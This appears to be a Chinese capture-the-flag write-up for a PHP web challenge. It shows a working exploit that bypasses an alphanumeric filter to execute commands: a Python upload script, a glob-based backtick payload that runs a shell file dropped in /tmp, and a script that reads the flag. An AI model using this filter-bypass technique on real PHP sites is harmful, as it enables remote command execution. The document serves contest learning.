100字范文,内容丰富有趣,生活中的好帮手!
100字范文 > -第五届世界智能大会-「津门杯」国际网络安全创新大赛-Web-hate_php

-第五届世界智能大会-「津门杯」国际网络安全创新大赛-Web-hate_php

时间:2023-05-17 04:14:03

相关推荐

-第五届世界智能大会-「津门杯」国际网络安全创新大赛-Web-hate_php

-第五届世界智能大会-「津门杯」国际网络安全创新大赛-Web-hate_php

打开网址直接告诉你过滤的代码,把字母数字和$、_、@都过滤了,直接放弃

然后百度搜了这道题的答案,感觉发现了新大陆一样,下面是相关的几篇文章,强烈推荐阅读:

过滤了大写字母和数字的绕过方法:

/PENETRATION/webshell-without-alphanum.html

过滤了大小写字母、数字、‘$’和‘_’

/PENETRATION/webshell-without-alphanum-advanced.html?page=2#reply-list

看完了这两篇文章这道题就基本解决了

先看本题的思路,同样是上传一个shell命令文件到网站的tmp目录下,用linux系统的特性构造payload执行这个文件

下面是简单的利用代码

import requestsheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/0101 Firefox/98.0'}payload = '?code=?><?=`. /???/????????[?-[]`;?>'url = 'http://challenge-25e97be714485b25.:10800/' + payloadfiles = {'file':open('./payload.txt','r')}proxy = {'http':'http://127.0.0.1:8888','https':'http://127.0.0.1:8888'}response = requests.post(url=url, headers=headers, files=files, proxies=proxy, verify=False).textprint(response)

上传的payload文件的内容

#!/bin/shcat /flag

这里有个问题就是上传的文件在服务端会给一个随机的名称,所以可能不会一次就成功,需要多找几次,结果如下

这里是我做题的时侯的一个问题的记录

为什么php可以接受post请求上传的文件?

查阅资料发现php的配置有一个选项

查看一下服务器的php配置文件的信息,查看phpinfo的信息

通过修改payload里面的内容如下可以查看到phpinfo的信息(可以尝试其他方式)

从结果可以看到一些重要的信息

file_uploads = on 说明php文件可以接受post的文件上传请求

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。